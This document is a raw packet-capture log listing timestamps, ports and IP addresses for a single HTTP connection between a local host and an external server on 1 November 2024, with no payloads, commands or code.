Nov 1, 2024 13:42:18.542083979 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.545880079 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.545893908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.545938015 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.545981884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.545995951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.546019077 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.546045065 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.659308910 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659332991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659341097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659348965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659356117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659363985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659425020 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659432888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659441948 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659449100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659496069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659512043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.659523010 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.659684896 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.664747000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.664782047 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.664797068 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.664805889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.664839983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.664940119 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.664956093 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.664973021 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.664978027 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.664995909 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665005922 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665021896 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665045023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665061951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665067911 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665081024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665085077 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665107965 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665108919 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665115118 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665122986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665149927 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665153980 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665165901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665174961 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665183067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665195942 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665195942 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665200949 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665219069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665221930 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665235996 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665241003 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665254116 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665261984 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665271997 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665290117 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665291071 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665307999 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665328026 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665344954 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665349007 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665360928 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665385962 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665399075 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665467978 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665482998 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665498018 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665513992 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665535927 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665559053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665574074 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665581942 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665601969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665612936 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665616989 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.665621042 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665644884 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.665659904 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.669342041 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.669389963 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.669404030 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.669404030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.669430017 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.669452906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782566071 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782615900 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782623053 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782630920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782656908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782656908 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782681942 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782684088 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782690048 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782699108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782705069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782726049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782728910 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782742023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782754898 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782771111 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782788992 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782789946 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782803059 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782814980 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782819986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782836914 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782843113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782856941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782866001 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782870054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.782888889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.782922029 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788172007 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788187981 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788203001 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788233995 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788256884 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788391113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788443089 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788448095 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788460016 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788482904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788485050 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788501024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788508892 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788518906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788530111 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788537979 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788546085 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788568020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788578987 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788582087 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788600922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788616896 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788619041 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788646936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788649082 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788683891 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788712978 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788728952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788743019 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788749933 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788760900 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788770914 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788778067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788785934 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788804054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788820028 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788832903 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788860083 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788875103 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788878918 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788896084 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788917065 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788924932 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788940907 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788966894 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.788969994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.788994074 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789007902 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789016962 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789021969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789038897 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789048910 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789057016 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789064884 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789072990 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789087057 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789113998 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789150953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789165974 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789179087 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789191008 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789210081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789216995 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789227962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789242983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.789251089 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789275885 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.789290905 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.792584896 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.792599916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.792614937 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.792629004 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.792651892 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.792684078 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.907258987 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907274008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907435894 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.907444000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907460928 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907476902 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907491922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907493114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.907507896 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907524109 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907524109 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.907540083 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907542944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.907557964 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.907572985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907583952 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.907594919 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.907617092 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.907634020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912019014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912043095 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912058115 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912070036 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912081957 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912082911 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912097931 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912106991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912120104 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912122011 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912141085 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912147045 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912162066 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912167072 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912184000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912187099 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912199020 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912214994 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912214994 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912229061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912244081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912245035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912270069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912273884 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912282944 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912286997 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912293911 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912308931 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912321091 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912331104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912343025 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912345886 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912362099 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912377119 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912378073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912395954 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912399054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912412882 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912420988 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912437916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912450075 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912455082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912470102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912472010 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912486076 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912488937 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912499905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912503958 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912516117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912527084 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912532091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912538052 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912547112 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912548065 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912564993 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912575960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912586927 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912590981 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912611008 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912616014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912628889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912631989 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912650108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912652969 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912662983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912664890 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912682056 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912694931 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912703991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912703991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912710905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912731886 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912733078 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912743092 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912749052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.912749052 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912766933 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.912774086 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.916127920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.916152954 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.916174889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.916191101 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.916192055 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.916198969 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.916213036 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.916227102 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.029588938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029603958 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029618025 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029633045 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029648066 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029670000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029684067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029699087 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029715061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029730082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029745102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029759884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.029772043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.029772043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.029772043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.029772043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.029772043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.029772043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.029772043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.029803991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.029803991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.034837008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.034853935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.034868956 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.034888029 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.034902096 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035059929 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035075903 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035090923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035109043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035115004 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035131931 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035139084 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035146952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035156012 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035161972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035180092 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035204887 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035211086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035226107 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035239935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035247087 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035262108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035262108 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035274029 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035279036 CET	80	49754	95.215.207.176	192.168.2.4
